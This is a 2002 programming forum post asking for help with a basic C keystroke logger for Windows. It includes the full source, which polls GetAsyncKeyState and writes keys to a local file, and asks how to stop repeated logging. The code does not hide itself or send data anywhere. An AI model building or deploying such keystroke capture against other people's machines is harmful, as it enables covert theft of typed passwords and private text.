Thread: keylogging

  1. #1
    Climber spoon_'s Avatar
    Join Date
    Jun 2002
    Location
    ATL
    Posts
    182

    keylogging

    yep, i'm trying to create a simple keystroke logger. my intent is not malicious.

    theres only one problem, if i run this program and give A a quick tap on the keyboard, it writes it in the file hundreds of times. how do i create a pause of some sort that will not interfere with the next key pressed?

    Code:
    #include<stdio.h>
    #include<windows.h>
    
    int main(int argc, char *argv[])
    {
    	FILE *out_File = NULL;
    
    	bool r = false;
    	
    	if((out_File = fopen("c:\\rec.txt", "w")) != NULL)
    	{
    		while(r == false)
    		{
    			for(int i = 0; i <= 256; i++)
    			{
    				if(GetAsyncKeyState(i) == -32768)
    				{
    					if(i == 'Q')
    					{
    						r = true;
    					}
    					else
    					{
    						fputc(i, out_File);
    					}
    				}
    			}
    		}
    	}
    
    	fclose(out_File);
    		
    	return 0;
    }
    edit: there, i changed it a little bit... some stuff in there didn't make sense when i typed it on the board the first time.

    thanks in advance

    spoon_
    Last edited by spoon_; 06-26-2002 at 05:11 AM.
    {RTFM, KISS}

Popular pages Recent additions subscribe to a feed